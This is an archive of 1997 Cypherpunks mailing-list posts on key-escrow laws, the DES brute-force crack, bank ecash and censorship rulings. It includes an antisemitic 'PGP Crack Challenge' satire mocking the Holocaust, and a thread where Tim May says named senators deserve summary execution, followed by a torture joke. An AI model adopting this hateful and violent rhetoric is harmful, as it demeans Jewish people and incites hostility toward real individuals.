> someone (also redacted) along with a memo on how to obtain a
> "waiver" for export.  Another set of Sockowitz documents being
> withheld are a set of hand written notes on a conversation, a
> three pages fax and two applications for license for export
> dated 8/11/94.  The Clinton administration will not say who sent
> the fax nor will they say who Ira Sockowitz talked to.  Yet,
> clearly the topic was a license to export.  A license that could
> have been worth billions of dollars.
> 
> It's going to be a long hot summer for the Clinton
> administration.
> 
> 1 if by land, 2 if by sea.  Paul Revere - encryption 1775
> 
> Charles R. Smith
> SOFTWAR
> http://www.us.net/softwar
> 
> Pcyphered SIGNATURE:
> 5317BD5D86A9257B2048D1D80523D9ACF320DB56A078CA4EA62BABF7A43EBE6B
> 2F5FB787CDEF242FA01EF13984F7071AC2B401DAD0010740F1F024C3CCF9D841
> 9760977F67662EEF






From f_estema at alcor.concordia.ca  Fri Jun 20 09:51:50 1997
From: f_estema at alcor.concordia.ca (f_estema at alcor.concordia.ca)
Date: Sat, 21 Jun 1997 00:51:50 +0800
Subject: Extremely Disappointing: Political Cryptography
In-Reply-To: <33AA2A2A.57A07997@healey.com.au>
Message-ID: 



Rant ahead.

On Fri, 20 Jun 1997, Benjamin Grosman wrote:

> > I'm not saying I _want_ an agency making decisions for us; only that
> > it would be slightly less hideously exasperating than our present
> > situation, where technoliterates are being ruled by technoilliterates.

> I would totally agree with you here...having an agency is definitely the
> best of a bad set of choices.

Doubtful. Under the current situation our technoilliterate oppononents are
passing demonstrably unworkable and heavy-handed laws, which, if the CDA
was any indication, have a high chance of being at least partly
neutralized in the courts and the benefit of being a headache to
implement technologically and commercially. 

If our opponents institutionalize the regulation of the Net, including a
GAK law, on the other hand, the policy will have the benefit of an entire
federal bureaucracy working behind it day by day to make it workable and
turn it into something acceptable to the judiciary and to those who are
seeking compromise. 

We will then have another FCC, but this time with its own pet FBI, and
given enough time (these people are essentially government employed
full-time lobbyists) everyone but us nutty libertarians will regard their
methods as common practice and something without which the Net would be
unlivable. Society will once again fall for the fallacy of government
necessity and we'll get divided and conquered.  Just ask the average
person what they think of abolishing the FCC and you will see what I mean. 

In the long run a new dedicated bureaucracy would be the worst of all
possible choices, first because it would actually function and second
because it would never go away. 

> > corrupt. We might get two or three good years out of a Federal
> > Internet Agency, depending who was appointed to run it.

3 semi-bad years instead of a couple of scary years of GAK being fought
head-on, in exchange for a permanent problem. 

> And that would probably be a major problem...finding someone with whom
> both the government and industry are happy.

Locking the rest of us out. Divide and conquer.






From tcmay at got.net  Fri Jun 20 10:02:25 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 01:02:25 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: 



At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>Seen this? Another bank braving the Digicash ecash waters:
> ----
>From: Edward Breese x1364 
>To: ecash-merchant 
>Date: Friday, 20 June 1997 11:50
>Subject: Advance Bank launches ecash
>
>>
>>Hi everyone,
>>
>>Thank you for being so patient.  ecash is now available from our web site
>>at:  http//www.advance.com.au/ecash
>>
>>You will find plenty of information to help you set up your ecash purse
>and
>>configure a web site to accept ecash.  You can  download our latest

I was unable to connect to the listed URL, but I rather suspect this is not
a form of "e-cash" that is of much interest or use to Cypherpunks.

No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
wrongly, a trademark of the company with the same name.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From lharrison at mhv.net  Fri Jun 20 10:19:24 1997
From: lharrison at mhv.net (Lynne L. Harrison)
Date: Sat, 21 Jun 1997 01:19:24 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620130840.006d0988@pop.mhv.net>



At 09:50 AM 6/20/97 -0700, Tim May wrote:
>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash

>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

The URL is workable, i.e., I was able to connect.

Perusing the site, under "Advance Bank and ecash security", it states:
"ecash uses military grade security technology. Used in conjunction with
our secure Internet Banking program, we have taken maximum precautions to
restrict access to your bank account or ecash."

Under "military grade security technology" (which is an embedded link), it
states:
"Military grade security - ecash uses public key cryptology to protect your
money as it passes over the Internet. Each user has two keys - a public
key, used to encrypt information, and a private key which is kept secret
and used to decipher information.  More specifically, a combination of
3xDES, 512RSA and 1024RSA in conjunction with the 128 IDEA encryption used
in the Internet Banking program, means your money and account information
will be secure." 


*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison at mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.






From whgiii at amaranth.com  Fri Jun 20 10:23:11 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sat, 21 Jun 1997 01:23:11 +0800
Subject: Mail server down :(
Message-ID: <199706201713.MAA01206@mailhub.amaranth.com>



-----BEGIN PGP SIGNED MESSAGE-----

Hi,

My ISP is in the process of switching backbone providers and as a
consenquence all my mail is bouncing. This more than likely will not be
fixed until Monday.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6q7SY9Co1n+aLhhAQFWNwP+Mg19u/wKUBH/CkO2VimaIurS8AI5GR7J
G7EU4dysnq3+yx5BU6vtGpkMVNLRjv8t5Q5BuT1jMfkXn5NKdt1XbUQATVsQz1X0
N3p1ojP+4DXekn4DO02N3s/5hxHT/jYX5k9EPUSgpwbp8KzG2y9DttVhz+pUeXZC
O0kOCo6XJyg=
=OD5S
-----END PGP SIGNATURE-----






From paul at fatmans.demon.co.uk  Fri Jun 20 10:23:39 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 21 Jun 1997 01:23:39 +0800
Subject: Bullshit RE: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION
In-Reply-To: <19970619071935.51047@bywater.songbird.com>
Message-ID: 




> > Not only that, but single DES with a 56 bit key is just not being used 
> > anymore in any company which has the slightest clue.
> 
> This is false, of course.  Many companies with the slightest clue use 
> single DES.  

Well, maybe I should have said companies with the slightest clue *should* 
not be using 3DES, of course a lot of them are advised wrongly that 
single 56 bit DES is hard to break, indeed the succeptability of single 
DES to differential and linear cryptanalysis leaves me with a low level 
of condfidence about single DES period. Of course one could also say that 
by extension there is no reason why these methods of cryptanalysis could 
not be adapted to 3DES, I believe the NSA once claimed to have known 
about differential cryptanalysis since the 1970s??? in that case they are 
the ones who could, but won`t, tell you if in time 3DES can be broken by 
the same means as reduced round single DES.

> Also, someone pointed out that the combined efforts 
> probably had independently done 50% of the keyspace.

Yes, I think that even accounted for the expected duplication of keyspace 
searched by the different efforts, it was a resounding success overall.

> > If they can run a 
> > distributed crack on 3DES with independent subkeys then I`ll give them 
> > some attention.
> > 
> > I`m not downgrading the effort, 
> 
> This is false, too.  Doublespeak at it's finest.

Foo. I said I applauded the effort from a publicity point of view, it 
gets the message out there to the public that a bunch of guys with normal 
home PCs can break the encryption the government has been telling them is 
strong. From a technical point of view it is unsuprising, can you 
honestly tell me you were suprised a distributed crack got 56 bit DES??? 
Therefore there are two sides to it, it is a good thing, and ...> 

> > significant publicity stunt that will get normal non-specialist people 
> > thinking about the export laws, and about how quickly DES can be broken 
> > by the government if it can be broken by a few guys on the internet in 
> > months. All I am saying is that looking at it from a purely scientific 
> > point of view it is not a great cryptanalytic achievement, merely a 
> > PR stunt.
> 
> It is a *GREAT* achievement on several fronts, crypto included. 
> Another front that was equally important, IMO was as a demonstration
> of what loosely coordinated distributed computing can do. 

Yes, I do in fact, and I had not really considered this side of it so I 
thank you for bringing it to my attention, recognise the significance of 
the achievement from the distributed computing angle, it could so easily 
have gone spaghetti-wise. I just don`t recognise any real groundbreaking 
achievement in crypto terms, but of course it cost nothing, a hardware crack 
would have done it in days, but that is a different matter altogether, in 
both financial and PR terms, it would not be that impressive to crack DES 
with a custom DES cracker Wiener style, the real PR coup is that it was 
broken by an average home PC.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From tcmay at got.net  Fri Jun 20 10:25:23 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 01:25:23 +0800
Subject: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: 



At 1:02 AM -0700 6/20/97, Lucky Green wrote:
>When I joined the Cypherpunks mailing list some years ago, few people even
>considered a legislative fix to the crypto issue. After all, crypto-anarchy
>is incompatible with the legislative process. Cypherpunks couldn't care
>less what happens in DC. They are banning crypto? What else is new?

Well said. And this latest round of laws is just what we expected when
Clipper was announced: the concern was never that certain government
agencies might have to replace their "STU" machines with a Clipperphone,
the concern from the beginning was mandatory use of Clipper-like key escrow
systems.

(At the risk of gaining another entry in the satires about how I said
something long in the past, I wrote a cautionary article in October 1992, 5
or 6 months before Clipper was announced, warning that Prof. Denning and
others were "floating trial balloons to ban crypto." How right I was.)


>Cypherpunks know that governments do not like crypto. As crypto-anarchy
>spreads, they will like it even less. The attempt to get governments to
>sanction crypto is therefore futile. In the end, all non-GAK crypto will be
>banned.

And the latest bill from McCain and Kerrey is the language pushed by
Clinton, so all speculation about whether Clinton will sign it when it
passes the Senate and House is moot. Further, the language closely
parallels the language we saw recently in the laws floated in the U.K.
(remember the "trusted third parties" document?) and in some  other
countries. That is, this McCain-Kerrey S.909 bill is just the
implementation of the OECD/David Aaron/GAK/New World Order/G8 deal to
outlaw cryptography use by citizen-units in the various "democratic" nation.

It is claimed by some that non-escrowed, non-GAKked, arbitrary strength
crypto remains legal for those who don't engage in commerce, who don't sign
the keys of others, who don't export,  etc.  Maybe. Certainly a lot of us
will continue to use the versions of PGP 5.x we *IMPORT* from Europe
(courtesy of the groups overseas now busily scanning and OCRing the source
code exported via FedEx by a Loyal Cypherpunk Who Has Chosen Not to Claim
Credit). Certainly we won't be using GAK.

But nearly anyone connected with a corporation will probably be told to use
a GAK product, to reduce potential liablility and criminality concerns.
This is the scenario Whit Diffie outlined several years ago at a
Cypherpunks meeting, that pressures would be applied so as to make
corporations and other such organizations the main enforcers of such
policies.

(No, there won't be 100% enforcement. But enough to have a chilling effect
on the development of some infrastructures Cypherpunks would like to see.
Certainly any sort of untraceable cash infrastructure will be in almost
immediate violation of the M-K bill, as it will be in U.K,, Germany,
France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
still "bootleg" some untraceably transactions, but not easily. And forget
about wide use. This is the desired effect of these new laws.)


>
>Cypherpunks write code,
>

OK, my chance here to piss off a few of you:

I think the "breaking of DES" challenge was, while interesting, a sideshow.
And utterly predictable, to anyone who read the 1977-78 papers on the
difficulty of breaking DES.

As with many Cypherpunks goals, I've been chagrinned to see so much
"backsliding" to lesser, less radical concerns. Recent meetings (that I've
been to) have been more dominated by "practical" issues of helping PGP,
Inc. out, of getting IETF agreement on some form of 3DES use, and on things
like the various challenges of known weak ciphers.

To quote Bill Stewart, "Foo on that!"

We are losing sight of the deeper issues, in my view.

The resources used to break DES, if as many people hosted remailers and
anonymizers on their machines, would further Cypherpunks goals a lot more
than breaking DES, which we all know was breakable (as we know what "56
bits" means).

(No, I will not make the usual error of assuming the resources used in
DESCHALL could be switched over to remailers and anonymizers....there are
many factors which went into why thousands of machines were volunteered,
and many or most of them are not applicable to the remailer situation. But
it is important to realize that "breaking DES' will have no lasting
effect....ironic, isn't it, that the M-K bill sailed through even despite
the same-day publicity surrounding the breaking of DES?)

We need to stop treating Cypherpunks meetings as marketing arms of
corporations, however "friendly" to us in some respects, and get back to
our more radical roots.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From iang at cs.berkeley.edu  Fri Jun 20 10:45:48 1997
From: iang at cs.berkeley.edu (Ian Goldberg)
Date: Sat, 21 Jun 1997 01:45:48 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <5oeeq4$cfo@abraham.cs.berkeley.edu>



In article ,
Tim May   wrote:
>At 9:22 AM -0700 6/20/97, Wayne Clerke wrote:
>>Seen this? Another bank braving the Digicash ecash waters:
>> ----
>>From: Edward Breese x1364 
>>To: ecash-merchant 
>>Date: Friday, 20 June 1997 11:50
>>Subject: Advance Bank launches ecash
>>
>>>
>>>Hi everyone,
>>>
>>>Thank you for being so patient.  ecash is now available from our web site
>>>at:  http//www.advance.com.au/ecash
>>>
>>>You will find plenty of information to help you set up your ecash purse
>>and
>>>configure a web site to accept ecash.  You can  download our latest
>
>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.
>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

It _is_ in fact Digicash's ecash.  Do you really think it's surprising
that the Bank's press release does not mention "untraceable" or
"anonymous"? :-)

   - Ian






From azur at netcom.com  Fri Jun 20 10:50:41 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 21 Jun 1997 01:50:41 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: 



>I was unable to connect to the listed URL, but I rather suspect this is not
>a form of "e-cash" that is of much interest or use to Cypherpunks.

The URL was missing a ':' after the http, otherwise worked fine for me.

>
>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>wrongly, a trademark of the company with the same name.

I suspect there are slight differences, but will need to confirm, between
Advance's mint protocol and MT.  If I understand correctly, they use a
somewhat different customer authentication procedure (PIN).  Even so, it
should have all the same anonymity features (or lack thereof) of MT ecash.

It isn't clear to me, from their lengthy regulation list, whether a
non-Australian can open an account.

Several items of interest.
1. No Mac support.  This is an opportunity for a non-Digicash purse.

2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
the mint, like traveller's checks.  Either banking competition must be
different in Australia or they know something I don't.  This would probably
not fly in the US under current competitive conditions.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From alano at teleport.com  Fri Jun 20 11:07:43 1997
From: alano at teleport.com (Alan)
Date: Sat, 21 Jun 1997 02:07:43 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
Message-ID: 



I sometimes think that Oregon is being used as a beta test for some of the
more draconian laws due for the rest of the country.

An example is the new law waiting to be signed by the Govenor.  It would
expand the reasons a cop can use to detain and search you.  Currently they
need to have probable cause that you committed a crime.  The new law
expands that to probible cause that you are about to commit a crime and a
whole host of things they can detain and question you on.  (The TV
coverage has been less than good.  The TV anchor they had covering it was
pushing it as a good idea.  Only until later did they bring up any reasons
of protest.) 

Yet another tool to keep the masses down.

alano at teleport.com | "Those who are without history are doomed to retype it."






From jya at pipeline.com  Fri Jun 20 11:12:05 1997
From: jya at pipeline.com (John Young)
Date: Sat, 21 Jun 1997 02:12:05 +0800
Subject: Feinstein Amendment Text
Message-ID: <1.5.4.32.19970620175516.00684594@pop.pipeline.com>



Senator Feinstein's office has provided a copy of
her S.936 amendment which passed yersterday 94 to 0 
"to prohibit the distribution of certain information relating to 
explosives, destructive devices, and weapons of mass 
destruction."

   http://jya.com/fein-sp419.htm  (5K)

Via links in the file, the amendment may be compared to earlier 
draft versions and debate as well as for the effect of the recent 
Justice Department report on its language.







From enoch at zipcon.net  Fri Jun 20 11:24:44 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Sat, 21 Jun 1997 02:24:44 +0800
Subject: Cypherpunks write code
In-Reply-To: 
Message-ID: <199706201815.LAA18928@zipcon.net>



Paul Bradley writes:

> Does www.anonymizer.com run at a decent speed within the US? I tried to 
> use it from here yesterday to get past the IP address cheching for the 
> export page on www.netscape.com, and it was too slow (just stalled on 
> about 1k)

During its transition from C2 to Cyberpass, the anonymizer seems to have
acquired a long pause after the first block of each document.  Accounts
which permit you to use the anonymizer without the pause may be purchased
for a reasonable fee from the anonymizer's new owner. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $






From alano at teleport.com  Fri Jun 20 12:03:45 1997
From: alano at teleport.com (Alan)
Date: Sat, 21 Jun 1997 03:03:45 +0800
Subject: [Noise] Random thought...
Message-ID: 



With all of the "punish the evildoers amongst us"  and the "Improving 
Security by making it illegal" raving in congress, this came to mind...

"The Congressional Definition of the Strength of a Firewall is how many
times you can march the citizenry in front of it for summary execution
before it crumbles."

You may now go back to the regularly scheduled panic.

alano at teleport.com | "Those who are without history are doomed to retype it."






From tcmay at got.net  Fri Jun 20 12:14:10 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 03:14:10 +0800
Subject: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: 
Message-ID: 



At 11:00 AM -0700 6/20/97, Alan wrote:
>I sometimes think that Oregon is being used as a beta test for some of the
>more draconian laws due for the rest of the country.
>

Well, California has a constant stream of such laws...I reported on some of
them yesterday.

I suspect most of the other states are doing the same thing....

An interesting set of issues about "states rights" and "local control." I
used to think--indeed, this is what I was taught--that certain things
stated in the U.S. Constitution, such as the various items in the Bill of
Rights we mention so often, would block many local or state laws.

Thus, if Nebraska passed a law restricting religious freedoms, making Islam
a crime, for example, then this would be "struck down" by the Supremes.

I no longer feel very secure in this belief. For example, many states,
counties, and cities have laws which abridge the Second Amendment. Why are
these local laws not unconstitutional? When I have raised these points I
have been told by law professors (for example, on the Cyberia list) that
surely I support "states rights," don't I?

I now think it is likely that the 50 state legislatures, the thousands of
county and city governments, will accelerate their lawmaking machinery.
They have learned that the way to steady employment is to proliferate
bureacracies, that despite various scattered attempts to limit such
bureacratic growth, the expansion basically continues and even acclerates.
This ensures a huge job pool for politicians and bureaucrats. (Even
politicians who "retire" or are "voted out" find continued employment in
regional and local bureaucracies....

(Just in my neck of the woods there is government from Washington,
government from Sacramento, government from Santa Cruz County, government
from the Association of Monterey Bay Area Governments (AMBAG), and
government from the various City Halls that dot the landscape. Not to
mention at least four separate "police forces" roaming the streets (local
police, County Sheriffs, California Highway Patrol, and various Forest
Service and Park Rangers, all armed, all dangerous, all looking to hassle
any citizen-unit they take an interest in.) Plus an army of shakedown
agencies which demand $1000 fees to merely process the paperwork for a
replacement well on our own property, not even guaranteeing approval:
"Well, the $1000 is to cover our overhead costs," meaning the 4-story
concrete building housing several hundred County employees, all for a
county having fewer than 75,000 residents!)

The whole system is a corrupt shakedown racket. Cincinattus would not be
surprised.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From kent at songbird.com  Fri Jun 20 12:21:57 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 21 Jun 1997 03:21:57 +0800
Subject: Getting Back to our Radical Roots
In-Reply-To: <3.0.2.32.19970620010244.0074e088@netcom9.netcom.com>
Message-ID: <19970620120855.39343@bywater.songbird.com>



On Fri, Jun 20, 1997 at 10:17:37AM -0700, Tim May wrote:
[...]
> 
> But nearly anyone connected with a corporation will probably be told to use
> a GAK product, to reduce potential liablility and criminality concerns.
> This is the scenario Whit Diffie outlined several years ago at a
> Cypherpunks meeting, that pressures would be applied so as to make
> corporations and other such organizations the main enforcers of such
> policies.

The mistake here is thinking that corporations need pressure. 
Instead, corporate authority structures are substantially equivalent
to government authority structures, and the same desire for control
that drives GAK operates within corporations.  Thus, corporations are,
underneath, eager accomplices, not covert champions of the cypherpunk
agend angrily bowing under pressure. 

> (No, there won't be 100% enforcement. But enough to have a chilling effect
> on the development of some infrastructures Cypherpunks would like to see.
> Certainly any sort of untraceable cash infrastructure will be in almost
> immediate violation of the M-K bill, as it will be in U.K,, Germany,
> France, Japan, and all the other OECD/G8 nations. Cypherpunks like us can
> still "bootleg" some untraceably transactions, but not easily. And forget
> about wide use. This is the desired effect of these new laws.)

Yep, that infrastructure will be chilled.  
[...]
> We need to stop treating Cypherpunks meetings as marketing arms of
> corporations, however "friendly" to us in some respects, and get back to
> our more radical roots.

Actually, I think we need to be more clever than that.  

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From cjp at dev.null  Fri Jun 20 12:33:19 1997
From: cjp at dev.null (C.J. Parker)
Date: Sat, 21 Jun 1997 03:33:19 +0800
Subject: PGP Crack Challenge Announced
Message-ID: <199706201912.NAA00918@wombat.sk.sympatico.ca>



 Pearl Harbor Computers has announced the "PGP Crack Challenge" with
a prize of $10,000.00 for the first person to decrypt a PGP cyphertext
file which reveals the location of the Jews being hidden by anarchistic
CypherPunks.

  Despite the best efforts of the U.S. legislative bodies and secret
government comittees, the danger remains that outlaw cryptographers
will be able to illegally avoid future Government Access to Keys
legislation and prevent law enforcement agencies from being able to
read their communications through use of strong, non-GAKed crypto.
  Imagine the burden that would have resulted if strong crypto had
prevented the German Gestapo from accessing information needed to
meet the legitimate needs of law enforcement during World War II.

  Pearl Harbor Computers will post a file called "hidejews.asc" to
the CypherPunks list in the near future. It will use 2048 bit PGP 5.0
encryption signed with Pearl Harbor Computers secret key.
  In order to win, whoever decrypts the message must post their results
to the cypherpunks list, signed with their secret key.
  The $10,000.00 prize will be paid in the equivalent of removed gold
tooth-fillings held in escrow in safety deposit boxes in a secure Swiss
bank.

C.J. Parker,
President,
Pearl Harbor Computers
"We've been bombed since 1941"






From stewarts at ix.netcom.com  Fri Jun 20 13:17:48 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 21 Jun 1997 04:17:48 +0800
Subject: Fw: Advance Bank launches ecash
In-Reply-To: <199706201622.UAA05969@ns2.emirates.net.ae>
Message-ID: <3.0.2.32.19970620125931.0075ec10@popd.ix.netcom.com>



>>>>Thank you for being so patient.  ecash is now available from our web site
>>>>at:  http//www.advance.com.au/ecash

>Tim May   wrote:
>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention of
>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly or
>>wrongly, a trademark of the company with the same name.

If there _wasn't_ any mention of those, there certainly is now :-)
The right-hand frame, after the pictures of PCs and dollar signs and logos,
has copyright notices, trademark notice for "ecash", and the addresses
and URLs for Advance Bank Australia Ltd. and Digicash BV in the Netherlands.

And the "Support" page has the following URLs:
   For more ecash info, refer to the DigiCash Web Site: 
     Who are DigiCash? 
     Digital Signatures and Smart Cards 
     Numbers that are money 


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From tcmay at got.net  Fri Jun 20 13:22:03 1997
From: tcmay at got.net (Tim May)
Date: Sat, 21 Jun 1997 04:22:03 +0800
Subject: Congressemen who have earned the death penalty
In-Reply-To: 
Message-ID: 



At 11:53 AM -0700 6/20/97, Alan wrote:
>With all of the "punish the evildoers amongst us"  and the "Improving
>Security by making it illegal" raving in congress, this came to mind...
>
>"The Congressional Definition of the Strength of a Firewall is how many
>times you can march the citizenry in front of it for summary execution
>before it crumbles."
>

Ah, you have cleverly rewritten the standard definition:

The Definition of the Strength of a Firewall is how many
politicians one can put  in front of it for summary execution
before it crumbles.

McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
in front of that firewall forthwith.

(As a free citizen, I am free to say that any particular person has
committed crimes deserving of execution. Despite what pseudo-lawyers often
claim. I have never said I plan to kill McCain or Kerrey. An important
difference. But they will surely pay for their crimes. Congress and
Washington need a taste of their own vile medicine.)

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From alano at teleport.com  Fri Jun 20 13:44:41 1997
From: alano at teleport.com (Alan)
Date: Sat, 21 Jun 1997 04:44:41 +0800
Subject: Congressemen who have earned the death penalty
In-Reply-To: 
Message-ID: 



On Fri, 20 Jun 1997, Tim May wrote:

> Ah, you have cleverly rewritten the standard definition:
> 
> The Definition of the Strength of a Firewall is how many
> politicians one can put  in front of it for summary execution
> before it crumbles.

Or as the great Marxist (Groucho) put it...

  "We put them up against the wall and pop goes the weasel!"

> McCain, Kerrey, Hollings, et. al. are guilty of treason and should be put
> in front of that firewall forthwith.

You forgot Feinstien.  (I know...  You are trying to...)

> (As a free citizen, I am free to say that any particular person has
> committed crimes deserving of execution. Despite what pseudo-lawyers often
> claim. I have never said I plan to kill McCain or Kerrey. An important
> difference. But they will surely pay for their crimes. Congress and
> Washington need a taste of their own vile medicine.)

Who said anything about wanting to kill them?  A diced jalapeneo enema
will not kill them.  (Actually I am not sure of that.  We will have to run
a test...  The debug process could take some time... ]:> )

alano at teleport.com | "Those who are without history are doomed to retype it."






From jsmith58 at hotmail.com  Fri Jun 20 14:00:47 1997
From: jsmith58 at hotmail.com (John Smith)
Date: Sat, 21 Jun 1997 05:00:47 +0800
Subject: Getting Back to our Radical Roots
Message-ID: <199706202052.NAA05467@f16.hotmail.com>



>The resources used to break DES, if as many people hosted remailers and
>anonymizers on their machines, would further Cypherpunks goals a lot 
more
>than breaking DES, which we all know was breakable (as we know what "56
>bits" means).

There were messages here some time back about systems like anonymizer
but chainable and using cryptography.  Did anything come of that?
Efficient anonymous web browsing could be a killer app for crypto.
Use anonymous web access to get to hotmail accounts like this one
and you have anonymous email, easy to use.

"John



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------






From declan at well.com  Fri Jun 20 14:01:21 1997
From: declan at well.com (Declan McCullagh)
Date: Sat, 21 Jun 1997 05:01:21 +0800
Subject: Courts strike down New York and Georgia Net-censorship laws
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 20 Jun 1997 13:48:13 -0700 (PDT)
From: Declan McCullagh 
To: fight-censorship at vorlon.mit.edu
Subject: Courts strike down New York and Georgia Net-censorship laws

Two Federal courts ruled today in separate decisions
that state laws in New York and Georgia restricting
speech on the Internet are unconstitutional.

In a 62-page ruling, Judge Loretta Preska of
Manhattan's Federal district court struck down a New
York state Net-censorship law that restricted online
material that might be "harmful to minors," saying
that a single state couldn't pass laws that apply to
the entire Internet.

"The Internet may well be the premiere technological
innovation of the present age," Preska said. "Judges
and legislators faced with adapting existing legal
standards to the novel environment of cyberspace
struggle with terms and concepts that the average
American five-year old tosses about with breezy
familiarity."

In Georgia, Judge Marvin Shoob ruled that a state law
forbidding anonymity online is unconstitutional since
it violates free speech and free association rights.
The law is so broadly written, the judge indicated,
that even America Online screen names could be
considered illegal.

This represents a stunning victory for the American
Civil Liberties Union (http://www.aclu.org/), which
filed both lawsuits. Judge Shoob "understood clearly
the very strong need for our plaintiffs to communicate
anonymously," the ACLU's Ann Beeson says. Both judges
issued preliminary injunctions barring the state
attorneys general from enforcing the laws.

But the rulings differ in important ways. Manhattan's
